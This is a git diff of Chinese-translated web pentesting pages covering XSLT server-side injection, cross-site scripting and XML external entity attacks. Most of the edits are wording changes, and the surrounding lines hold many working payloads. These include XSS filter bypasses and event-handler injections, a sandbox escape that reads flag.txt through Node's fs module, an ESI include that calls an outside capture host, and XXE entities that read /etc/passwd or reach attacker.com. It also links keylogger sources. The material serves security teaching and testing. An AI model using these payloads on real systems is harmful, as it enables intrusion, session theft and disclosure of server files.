工具 [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* 允许 **生成输入的变体** 以模糊测试后端。有关更多信息，请查看 **github** 和这篇 [**文章**](https://0xacb.com/2022/11/21/recollapse/)。

8
src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md
View File

@ -323,7 +323,7 @@ Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:sup
```
## 执行代码
### **php:函数**
### **php:function**
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
@ -348,7 +348,7 @@ xmlns:php="http://php.net/xsl" >
### **更多语言**
**在此页面中，您可以找到其他语言中 RCE 的示例：** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET) **（C#、Java、PHP）**
**在此页面中，您可以找到其他语言中 RCE 的示例：** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET) **(C#, Java, PHP)**
## **从类中访问 PHP 静态函数**
@ -374,7 +374,9 @@ version="1.0">
## **暴力破解检测列表**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt
{{#endref}}
## **参考文献**

134
src/pentesting-web/xss-cross-site-scripting/README.md
View File

@ -2,7 +2,7 @@
## 方法论
1. 检查 **任何你控制的值** (_参数_、_路径_、_头部_？、_cookies_？) 是否在 HTML 中被 **反射** 或 **被** **JS** 代码 **使用**。
1. 检查 **任何你控制的值** (_参数_，_路径_，_头部_？，_cookies_？) 是否在 HTML 中被 **反射** 或 **被** **JS** 代码 **使用**。
2. **找到上下文**，查看它是如何被反射/使用的。
3. 如果 **被反射**：
1. 检查 **你可以使用哪些符号**，并根据此准备有效载荷：
@ -10,7 +10,7 @@
1. 你能创建新的 HTML 标签吗？
2. 你能使用支持 `javascript:` 协议的事件或属性吗？
3. 你能绕过保护措施吗？
4. HTML 内容是否被任何客户端 JS 引擎 (_AngularJS_、_VueJS_、_Mavo_...) 解释，你可以利用 [**客户端模板注入**](../client-side-template-injection-csti.md)。
4. HTML 内容是否被任何客户端 JS 引擎 (_AngularJS_，_VueJS_，_Mavo_...) 解释，你可以利用 [**客户端模板注入**](../client-side-template-injection-csti.md)。
5. 如果你不能创建执行 JS 代码的 HTML 标签，你能利用 [**悬挂标记 - 无脚本 HTML 注入**](../dangling-markup-html-scriptless-injection/) 吗？
2. 在 **HTML 标签** 内：
1. 你能退出到原始 HTML 上下文吗？
@ -18,14 +18,14 @@
3. 你被困的属性是否支持 JS 执行？
4. 你能绕过保护措施吗？
3. 在 **JavaScript 代码** 内：
1. 你能逃逸 `<script>` 标签吗？
2. 你能逃逸字符串并执行不同的 JS 代码吗？
1. 你能逃避 `<script>` 标签吗？
2. 你能逃避字符串并执行不同的 JS 代码吗？
3. 你的输入是否在模板字面量 \`\` 中？
4. 你能绕过保护措施吗？
4. Javascript **函数** 被 **执行**
1. 你可以指明要执行的函数名称。例如： `?callback=alert(1)`
4. 如果 **被使用**：
1. 你可以利用 **DOM XSS**，注意你的输入是如何被控制的，以及你的 **受控输入是否被任何接收点使用**。
1. 你可以利用 **DOM XSS**，注意你的输入是如何被控制的，以及你的 **受控输入是否被任何接收器使用**。
在处理复杂的 XSS 时，你可能会发现了解以下内容很有趣：
@ -35,29 +35,29 @@ debugging-client-side-js.md
## 反射值
为了成功利用 XSS，你需要找到的第一件事是 **一个由你控制的值在网页中被反射**。
为了成功利用 XSS，首先你需要找到一个 **由你控制的值并在网页中被反射**。
- **中间反射**：如果你发现参数的值甚至路径在网页中被反射，你可以利用 **反射型 XSS**。
- **存储并反射**：如果你发现一个由你控制的值被保存在服务器中，并且每次访问页面时都会被反射，你可以利用 **存储型 XSS**。
- **通过 JS 访问**：如果你发现一个由你控制的值正在通过 JS 访问，你可以利用 **DOM XSS**。
- **中间反射**：如果你发现参数的值或甚至路径在网页中被反射，你可以利用 **反射 XSS**。
- **存储并反射**：如果你发现一个由你控制的值被保存在服务器中，并在每次访问页面时被反射，你可以利用 **存储 XSS**。
- **通过 JS 访问**：如果你发现一个由你控制的值通过 JS 被访问，你可以利用 **DOM XSS**。
## 上下文
在尝试利用 XSS 时，你需要知道的第一件事是 **你的输入在哪里被反射**。根据上下文，你将能够以不同的方式执行任意 JS 代码。
在尝试利用 XSS 时，首先你需要知道 **你的输入被反射在哪里**。根据上下文，你将能够以不同的方式执行任意 JS 代码。
### 原始 HTML
如果你的输入在 **原始 HTML** 页面中被 **反射**，你需要利用某些 **HTML 标签** 来执行 JS 代码：`<img`、`<iframe`、`<svg`、`<script` ... 这些只是你可以使用的许多可能的 HTML 标签中的一些。\
如果你的输入在 **原始 HTML** 页面中被 **反射**，你需要利用一些 **HTML 标签** 来执行 JS 代码：`<img , <iframe , <svg , <script` ... 这些只是你可以使用的许多可能的 HTML 标签中的一些。\
此外，请记住 [客户端模板注入](../client-side-template-injection-csti.md)。
### 在 HTML 标签属性内
如果你的输入在标签的属性值中被反射，你可以尝试：
1. **逃逸属性和标签**（然后你将处于原始 HTML 中）并创建新的 HTML 标签进行利用：`"><img [...]`
2. 如果你 **可以逃逸属性但不能逃逸标签**（`>` 被编码或删除），根据标签的不同，你可以 **创建一个事件** 来执行 JS 代码：`" autofocus onfocus=alert(1) x="`
3. 如果你 **无法逃逸属性**（`"` 被编码或删除），那么根据 **哪个属性** 你的值被反射，以及 **你是否控制整个值或仅部分值**，你将能够进行利用。例如，如果你控制一个事件如 `onclick=`，你将能够使其在点击时执行任意代码。另一个有趣的 **例子** 是属性 `href`，你可以使用 `javascript:` 协议来执行任意代码：**`href="javascript:alert(1)"`**
4. 如果你的输入在 "**不可利用的标签**" 内被反射，你可以尝试 **`accesskey`** 技巧来利用这个漏洞（你将需要某种社会工程来利用这一点）：**`" accesskey="x" onclick="alert(1)" x="**
1. **逃离属性和标签**（然后你将处于原始 HTML 中）并创建新的 HTML 标签来利用：`"><img [...]`
2. 如果你 **能逃离属性但不能逃离标签**（`>` 被编码或删除），根据标签的不同，你可以 **创建一个事件** 来执行 JS 代码：`" autofocus onfocus=alert(1) x="`
3. 如果你 **无法逃离属性**（`"` 被编码或删除），那么根据 **你的值被反射在哪个属性中**，如果你控制整个值或仅部分值，你将能够利用它。例如，如果你控制一个事件如 `onclick=`，你将能够使其在点击时执行任意代码。另一个有趣的 **例子** 是属性 `href`，你可以使用 `javascript:` 协议来执行任意代码：**`href="javascript:alert(1)"`**
4. 如果你的输入在 "**不可利用的标签**" 内被反射，你可以尝试 **`accesskey`** 技巧来利用这个漏洞（你需要某种社交工程来利用这一点）：**`" accesskey="x" onclick="alert(1)" x="**
如果你控制一个类名，Angular 执行 XSS 的奇怪例子：
```html
@ -69,7 +69,7 @@ debugging-client-side-js.md
在这种情况下，您的输入反映在 HTML 页面中的 **`<script> [...] </script>`** 标签之间，或者在 `.js` 文件中，或在使用 **`javascript:`** 协议的属性中：
- 如果反映在 **`<script> [...] </script>`** 标签之间，即使您的输入在任何类型的引号内，您可以尝试注入 `</script>` 并逃离这个上下文。这是有效的，因为 **浏览器会首先解析 HTML 标签** 然后解析内容，因此，它不会注意到您注入的 `</script>` 标签在 HTML 代码中。
- 如果反映在 **`<script> [...] </script>`** 标签之间，即使您的输入在任何类型的引号内，您可以尝试注入 `</script>` 并从此上下文中逃脱。这是有效的，因为 **浏览器会首先解析 HTML 标签** 然后解析内容，因此，它不会注意到您注入的 `</script>` 标签在 HTML 代码中。
- 如果反映 **在 JS 字符串内**，并且最后的技巧不起作用，您需要 **退出** 字符串，**执行** 您的代码并 **重构** JS 代码（如果有任何错误，它将不会被执行）：
- `'-alert(1)-'`
- `';-alert(1)//`
@ -124,7 +124,7 @@ some-same-origin-method-execution.md
### DOM
有**JS 代码**正在**不安全地**使用一些**由攻击者控制的数据**，如 `location.href`。攻击者可以利用这一点执行任意 JS 代码。
有**JS 代码**不安全地使用一些**由攻击者控制的数据**，如 `location.href`。攻击者可以利用这一点执行任意 JS 代码。
{{#ref}}
dom-xss.md
@ -162,7 +162,7 @@ alert(1)
<svg onload=alert('XSS')>
```
但是，如果使用了标签/属性的黑白名单，您需要**暴力破解可以创建的标签**。\
一旦您**找到了允许的标签**，您需要**暴力破解**在找到的有效标签内的属性/事件，以查看如何攻击该上下文。
一旦您**找到了允许的标签**，您需要**暴力破解属性/事件**，以查看如何攻击该上下文。
### 标签/事件暴力破解
@ -239,18 +239,18 @@ onerror=alert`1`
### Click XSS - Clickjacking
如果为了利用该漏洞，您需要 **用户点击一个链接或一个带有预填充数据的表单**，您可以尝试 [**滥用 Clickjacking**](../clickjacking.md#xss-clickjacking)（如果页面存在漏洞）。
如果为了利用这个漏洞，你需要 **用户点击一个链接或一个带有预填充数据的表单**，你可以尝试 [**滥用 Clickjacking**](../clickjacking.md#xss-clickjacking)（如果页面是脆弱的）。
### 不可能 - 悬挂标记
如果您认为 **创建一个带有属性以执行 JS 代码的 HTML 标签是不可能的**，您应该检查 [**悬挂标记**](../dangling-markup-html-scriptless-injection/)，因为您可以 **在不执行** **JS** 代码的情况下 **利用** 该漏洞。
如果你认为 **创建一个带有属性以执行 JS 代码的 HTML 标签是不可能的**，你应该检查 [**悬挂标记**](../dangling-markup-html-scriptless-injection/)，因为你可以 **利用** 这个漏洞 **而不** 执行 **JS** 代码。
## 在 HTML 标签内注入
### 在标签内/从属性值中转义
如果您在 **HTML 标签内**，您可以尝试的第一件事是 **从标签中转义**，并使用 [上一节](./#injecting-inside-raw-html) 中提到的一些技术来执行 JS 代码。\
如果您 **无法从标签中转义**，您可以在标签内创建新属性以尝试执行 JS 代码，例如使用一些有效载荷（_请注意，在此示例中使用双引号从属性中转义，如果您的输入直接反映在标签内，则不需要它们_）：
如果你在 **HTML 标签内**，你可以尝试的第一件事是 **从标签中转义**，并使用 [上一节](./#injecting-inside-raw-html) 中提到的一些技术来执行 JS 代码。\
如果你 **无法从标签中转义**，你可以在标签内创建新的属性来尝试执行 JS 代码，例如使用一些有效载荷（_注意在这个例子中使用双引号来从属性中转义，如果你的输入直接反映在标签内，你就不需要它们_）：
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -291,7 +291,7 @@ HTML标签属性值内的**HTML编码字符**在运行时会被**解码**。因
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>
```
**注意，URL 编码也会有效：**
**请注意，URL 编码也会有效：**
```python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
```
@ -303,7 +303,7 @@ HTML标签属性值内的**HTML编码字符**在运行时会被**解码**。因
```
### 特殊协议在属性中
在某些地方，您可以使用协议 **`javascript:`** 或 **`data:`** 来 **执行任意 JS 代码**。有些将需要用户交互，有些则不需要。
在某些地方，您可以使用协议 **`javascript:`** 或 **`data:`** 来 **执行任意 JS 代码**。有些需要用户交互，有些则不需要。
```javascript
javascript:alert(1)
JavaSCript:alert(1)
@ -347,17 +347,17 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**其他混淆技巧**
_**在这种情况下，上一节中的HTML编码和Unicode编码技巧也是有效的，因为您在一个属性内。**_
_**在这种情况下，上一节中的HTML编码和Unicode编码技巧在属性内也是有效的。**_
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
此外，还有另一个**不错的技巧**：**即使你在 `javascript:...` 中的输入被 URL 编码，它在执行之前会被 URL 解码。** 所以，如果你需要使用**单引号**从**字符串**中**逃逸**，并且你看到它**被 URL 编码**，请记住**这没关系，**它在**执行**时会被**解释**为**单引号**。
此外，还有另一个**好技巧**：**即使你在 `javascript:...` 中的输入被 URL 编码，它在执行之前会被 URL 解码。** 所以，如果你需要使用**单引号**从**字符串**中**逃逸**，并且你看到**它被 URL 编码**，请记住**这没关系，**它在**执行**时会被**解释**为**单引号**。
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
注意，如果你尝试以任何顺序同时使用 `URLencode + HTMLencode` 来编码 **payload**，它 **将不会** **工作**，但你可以在 **payload** 内部 **混合它们**。
注意，如果你尝试以任何顺序同时使用 `URLencode + HTMLencode` 来编码 **payload**，它 **将不会** **工作**，但你可以在 **payload** 内部 **混合** 它们。
**使用 Hex 和 Octal 编码与 `javascript:`**
@ -383,7 +383,7 @@ _**在这种情况下，上一节中的HTML编码和Unicode编码技巧也是有
../reverse-tab-nabbing.md
{{#endref}}
### 事件处理程序绕过
### 关于事件处理程序绕过
首先查看此页面 ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) 以获取有用的 **"on" 事件处理程序**。\
如果有某些黑名单阻止您创建这些事件处理程序，您可以尝试以下绕过：
@ -401,9 +401,9 @@ Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
```
### XSS in "Unexploitable tags" (hidden input, link, canonical, meta)
### XSS 在 "不可利用的标签"（隐藏输入、链接、规范、元）
从[**这里**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **现在可以利用隐藏输入：**
从 [**这里**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **现在可以滥用隐藏输入：**
```html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
@ -426,11 +426,11 @@ onbeforetoggle="alert(2)" />
```markup
<input type="hidden" accesskey="X" onclick="alert(1)">
```
**XSS有效载荷将类似于：`" accesskey="x" onclick="alert(1)" x="`**
**XSS有效负载将类似于：`" accesskey="x" onclick="alert(1)" x="`**
### 黑名单绕过
本节中已经揭示了几种使用不同编码的技巧。请**返回学习可以使用的地方：**
本节中已经揭示了几种使用不同编码的技巧。请**返回学习您可以使用的地方：**
- **HTML编码（HTML标签）**
- **Unicode编码（可以是有效的JS代码）：** `\u0061lert(1)`
@ -448,11 +448,11 @@ onbeforetoggle="alert(2)" />
### CSS小工具
如果你在网络的**非常小的部分**发现了**XSS**，需要某种交互（也许是页脚中的一个小链接，带有onmouseover元素），你可以尝试**修改该元素占据的空间**以最大化触发链接的概率。
如果您在网络的**非常小的部分**发现了**XSS**，需要某种交互（可能是页脚中的小链接，带有onmouseover元素），您可以尝试**修改该元素占据的空间**以最大化触发链接的概率。
例如，你可以在元素中添加一些样式，如：`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
例如，您可以在元素中添加一些样式，如：`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
但是，如果WAF正在过滤样式属性，你可以使用CSS样式小工具，所以如果你发现，例如
但是，如果WAF正在过滤样式属性，您可以使用CSS样式小工具，因此如果您发现，例如
> .test {display:block; color: blue; width: 100%\}
@ -460,7 +460,7 @@ onbeforetoggle="alert(2)" />
> \#someid {top: 0; font-family: Tahoma;}
现在你可以修改我们的链接并将其变为
现在您可以修改我们的链接并将其变为
> \<a href="" id=someid class=test onclick=alert() a="">
@ -468,11 +468,11 @@ onbeforetoggle="alert(2)" />
## 在JavaScript代码中注入
在这些情况下，你的**输入**将**反映在.js文件的JS代码**中，或在`<script>...</script>`标签之间，或在可以执行JS代码的HTML事件之间，或在接受`javascript:`协议的属性之间。
在这些情况下，您的**输入**将**反映在.js文件的JS代码**中，或在`<script>...</script>`标签之间，或在可以执行JS代码的HTML事件之间，或在接受`javascript:`协议的属性之间。
### 转义\<script>标签
如果你的代码插入在`<script> [...] var input = 'reflected data' [...] </script>`中，你可以轻松地**转义关闭`<script>`**标签：
如果您的代码插入在`<script> [...] var input = 'reflected data' [...] </script>`中，您可以轻松地**转义关闭`<script>`**标签：
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
@ -554,7 +554,7 @@ eval(8680439..toString(30))(983801..toString(36))
<TAB>
/**/
```
**JavaScript 注释 (来自** [**JavaScript 注释**](./#javascript-comments) **技巧)**
**JavaScript 注释（来自** [**JavaScript 注释**](./#javascript-comments) **技巧）**
```javascript
//This is a 1 line comment
/* This is a multiline comment*/
@ -738,7 +738,7 @@ top[8680439..toString(30)](1)
````
## **DOM 漏洞**
有 **JS 代码** 使用 **由攻击者控制的不安全数据**，如 `location.href`。攻击者可以利用这一点执行任意的 JS 代码。\
有 **JS 代码** 使用了 **由攻击者控制的不安全数据**，如 `location.href`。攻击者可以利用这一点执行任意的 JS 代码。\
**由于对** [**DOM 漏洞的解释扩展到此页面**](dom-xss.md)**:**
{{#ref}}
@ -746,23 +746,23 @@ dom-xss.md
{{#endref}}
在这里你会找到关于 **DOM 漏洞是什么、如何引发以及如何利用它们的详细解释**。\
此外，别忘了在 **提到的帖子末尾** 你可以找到关于 [**DOM Clobbering 攻击**](dom-xss.md#dom-clobbering) 的解释。
此外，不要忘记在 **提到的帖子末尾** 你可以找到关于 [**DOM Clobbering 攻击**](dom-xss.md#dom-clobbering) 的解释。
### 升级 Self-XSS
### 升级自我 XSS
### Cookie XSS
如果你可以通过在 cookie 中发送有效负载来触发 XSS，这通常是自我 XSS。然而，如果你发现一个 **易受 XSS 攻击的子域名**，你可以利用这个 XSS 在整个域中注入一个 cookie，从而在主域或其他子域（易受 cookie XSS 攻击的那些）中触发 cookie XSS。为此，你可以使用 cookie tossing 攻击：
如果你可以通过在 cookie 中发送有效负载来触发 XSS，这通常是自我 XSS。然而，如果你发现一个 **易受 XSS 攻击的子域名**，你可以利用这个 XSS 在整个域中注入一个 cookie，从而在主域或其他子域（易受 cookie XSS 攻击的那些）中触发 cookie XSS。为此你可以使用 cookie tossing 攻击：
{{#ref}}
../hacking-with-cookies/cookie-tossing.md
{{#endref}}
你可以在 [**这篇博客文章**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) 中找到这个技术的一个很好的滥用案例。
你可以在 [**这篇博客文章**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) 中找到对这一技术的极佳利用。
### 将你的会话发送给管理员
也许一个用户可以与管理员共享他的个人资料，如果自我 XSS 在用户的个人资料中，而管理员访问了它，他将触发这个漏洞。
也许用户可以与管理员共享他的个人资料，如果自我 XSS 在用户的个人资料中，而管理员访问了它，他将触发该漏洞。
### 会话镜像
@ -827,7 +827,7 @@ document['default'+'View'][`\u0061lert`](3)
如果你发现可以**在302重定向响应中注入头**，你可以尝试**让浏览器执行任意JavaScript**。这**并不简单**，因为现代浏览器在HTTP响应状态码为302时不会解释HTTP响应体，因此仅仅一个跨站脚本有效载荷是无用的。
在[**这份报告**](https://www.gremwell.com/firefox-xss-302)和[**这份报告**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)中，你可以阅读如何测试Location头中的几种协议，并查看其中是否有任何协议允许浏览器检查并执行体内的XSS有效载荷。\
在[**这份报告**](https://www.gremwell.com/firefox-xss-302)和[**这份报告**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)中，你可以阅读如何在Location头中测试几种协议，并查看其中是否有任何协议允许浏览器检查并执行体内的XSS有效载荷。\
已知的过去协议：`mailto://`、`//x:1/`、`ws://`、`wss://`、_空Location头_、`resource://`。
### 仅限字母、数字和点
@ -864,11 +864,11 @@ const char* const kSupportedJavascriptTypes[] = {
```
### Script Types to XSS
(来自 [**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 那么，哪些类型可以指示加载脚本呢？
(来自 [**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 那么，哪些类型可以指示加载脚本？
```html
<script type="???"></script>
```
- **模块** (默认，无需解释)
- **模块**（默认，无需解释）
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles 是一个功能，您可以将一堆数据（HTML、CSS、JS…）打包到一个 **`.wbn`** 文件中。
```html
<script type="webbundle">
@ -898,7 +898,7 @@ import { partition } from "lodash"
```
这种行为在 [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) 中被用来重新映射一个库到 eval，以滥用它可以触发 XSS。
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 这个功能主要是为了解决一些由预渲染引起的问题。它的工作原理是：
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 这个功能主要是为了解决一些由预渲染引起的问题。它的工作原理如下：
```html
<script type="speculationrules">
{
@ -923,7 +923,7 @@ import { partition } from "lodash"
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? 不在列表中，但我认为我在 CTF 中见过这个)
- text/plain (?? 不在列表中，但我想我在 CTF 中见过这个)
- application/rss+xml (关闭)
- application/atom+xml (关闭)
@ -931,7 +931,7 @@ import { partition } from "lodash"
### xml Content Type
如果页面返回 text/xml 内容类型，可以指示一个命名空间并执行任意 JS：
如果页面返回的是 text/xml 内容类型，可以指示一个命名空间并执行任意 JS：
```xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@ -941,9 +941,9 @@ import { partition } from "lodash"
```
### 特殊替换模式
当使用类似 **`"some {{template}} data".replace("{{template}}", <user_input>)`** 的代码时，攻击者可以使用 [**特殊字符串替换**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) 来尝试绕过某些保护措施: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
当使用类似 **`"some {{template}} data".replace("{{template}}", <user_input>)`** 的代码时，攻击者可以使用 [**特殊字符串替换**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) 来尝试绕过某些保护措施： `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
例如在 [**这篇文章**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) 中，这被用来 **转义一个 JSON 字符串** 在脚本中并执行任意代码。
例如，在 [**这篇文章**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) 中，这被用来 **转义一个 JSON 字符串** 在脚本中并执行任意代码。
### Chrome 缓存到 XSS
@ -953,7 +953,7 @@ chrome-cache-to-xss.md
### XS 监狱逃逸
如果您只能使用有限的字符集，请查看这些其他有效的解决方案以解决 XSJail 问题:
如果您只能使用有限的字符集，请查看这些其他有效的解决方案以解决 XSJail 问题：
```javascript
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
@ -999,7 +999,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
// our actual module code
})
```
因此，如果我们可以从该模块**调用另一个函数**，则可以从该函数使用 `arguments.callee.caller.arguments[1]` 来访问 **`require`**：
因此，如果从该模块我们可以**调用另一个函数**，则可以从该函数使用 `arguments.callee.caller.arguments[1]` 来访问 **`require`**：
```javascript
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
@ -1381,7 +1381,7 @@ body:username.value+':'+this.value
### Keylogger
仅在 GitHub 上搜索，我找到了几个不同的：
仅在 GitHub 上搜索，我发现了一些不同的：
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
@ -1417,7 +1417,7 @@ document.getElementById("message").src += "&"+e.data;
abusing-service-workers.md
{{#endref}}
### 访问 Shadow DOM
### 访问阴影 DOM
{{#ref}}
shadow-dom.md
@ -1425,7 +1425,9 @@ shadow-dom.md
### 多语言混合
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
{{#endref}}
### 盲 XSS 有效载荷
@ -1471,7 +1473,7 @@ shadow-dom.md
```
### Regex - 访问隐藏内容
从 [**这篇文章**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) 可以了解到，即使某些值从 JS 中消失，仍然可以在不同对象的 JS 属性中找到它们。例如，REGEX 的输入仍然可以在正则表达式输入的值被移除后找到：
从 [**这篇文章**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) 可以了解到，即使某些值从 JS 中消失，仍然可以在不同对象的 JS 属性中找到它们。例如，REGEX 的输入在正则表达式的输入值被移除后仍然可以找到：
```javascript
// Do regex with flag
flag = "CTF{FLAG}"
@ -1490,7 +1492,9 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
```
### 暴力破解列表
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
{{#endref}}
## XSS 利用其他漏洞
@ -1504,16 +1508,16 @@ xss-in-markdown.md
### XSS 到 SSRF
在一个 **使用缓存的网站** 上获得了 XSS？尝试通过边缘侧包含注入将其 **升级到 SSRF**，使用这个有效载荷：
在一个 **使用缓存的站点** 上获得了 XSS？尝试通过边缘侧包含注入将其 **升级为 SSRF**，使用以下有效载荷：
```python
<esi:include src="http://yoursite.com/capture" />
```
使用它来绕过 cookie 限制、XSS 过滤器等更多！\
使用它来绕过 cookie 限制、XSS 过滤器等更多内容！\
有关此技术的更多信息，请查看：[**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)。
### 动态创建 PDF 中的 XSS
如果网页使用用户控制的输入创建 PDF，您可以尝试 **欺骗创建 PDF 的机器人** 使其 **执行任意 JS 代码**。\
如果网页使用用户控制的输入创建 PDF，您可以尝试 **欺骗创建 PDF 的机器人** 以 **执行任意 JS 代码**。\
因此，如果 **PDF 创建机器人发现** 某种 **HTML** **标签**，它将会 **解释** 这些标签，您可以 **利用** 这种行为导致 **服务器 XSS**。
{{#ref}}
@ -1536,7 +1540,7 @@ AMP 旨在加速移动设备上的网页性能，结合了 HTML 标签和 JavaSc
### XSS 上传文件 (svg)
将以下文件作为图像上传（来自 [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)）：
上传如下文件作为图像（来自 [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)）：
```markup
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
@ -1594,7 +1598,7 @@ id="foo"/>
```
找到 **更多 SVG 载荷在** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
## 其他 JS 技巧与相关信息
## 杂项 JS 技巧与相关信息
{{#ref}}
other-js-tricks.md

77
src/pentesting-web/xxe-xee-xml-external-entity.md
View File

@ -4,12 +4,12 @@
## XML基础
XML是一种用于数据存储和传输的标记语言，具有灵活的结构，允许使用描述性命名的标签。它与HTML的不同之处在于不受限于一组预定义标签。尽管XML在AJAX技术中的初始作用显著，但随着JSON的兴起，其重要性已下降。
XML是一种用于数据存储和传输的标记语言，具有灵活的结构，允许使用描述性命名的标签。它与HTML的不同之处在于不受预定义标签集的限制。尽管XML在AJAX技术中的初始作用显著，但随着JSON的兴起，其重要性已下降。
- **通过实体表示数据**：XML中的实体使得数据的表示成为可能，包括特殊字符如`&lt;`和`&gt;`，它们分别对应于`<`和`>`，以避免与XML的标签系统发生冲突。
- **定义XML元素**：XML允许定义元素类型，概述元素应如何结构化以及可以包含哪些内容，从任何类型的内容到特定的子元素。
- **文档类型定义（DTD）**：DTD在XML中对于定义文档的结构和可以包含的数据类型至关重要。它们可以是内部的、外部的或两者的组合，指导文档的格式和验证方式。
- **自定义和外部实体**：XML支持在DTD中创建自定义实体，以实现灵活的数据表示。外部实体通过URL定义，带来了安全隐患，特别是在XML外部实体（XXE）攻击的背景下，这些攻击利用了XML解析器处理外部数据源的方式：`<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **自定义和外部实体**：XML支持在DTD中创建自定义实体，以实现灵活的数据表示。外部实体通过URL定义，带来了安全隐患，特别是在XML外部实体（XXE）攻击的背景下，这些攻击利用XML解析器处理外部数据源的方式：`<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **使用参数实体检测XXE**：为了检测XXE漏洞，特别是在常规方法因解析器安全措施而失败时，可以利用XML参数实体。这些实体允许使用带外检测技术，例如触发DNS查找或向受控域发出HTTP请求，以确认漏洞。
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
@ -20,7 +20,7 @@ XML是一种用于数据存储和传输的标记语言，具有灵活的结构
### 新实体测试
在这个攻击中，我将测试一个简单的新ENTITY声明是否有效。
在这次攻击中，我将测试一个简单的新ENTITY声明是否有效。
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
@ -33,9 +33,9 @@ XML是一种用于数据存储和传输的标记语言，具有灵活的结构
### 读取文件
让我们尝试以不同的方式读取 `/etc/passwd`。对于 Windows，你可以尝试读取: `C:\windows\system32\drivers\etc\hosts`
我们尝试以不同的方式读取 `/etc/passwd`。对于 Windows，你可以尝试读取: `C:\windows\system32\drivers\etc\hosts`
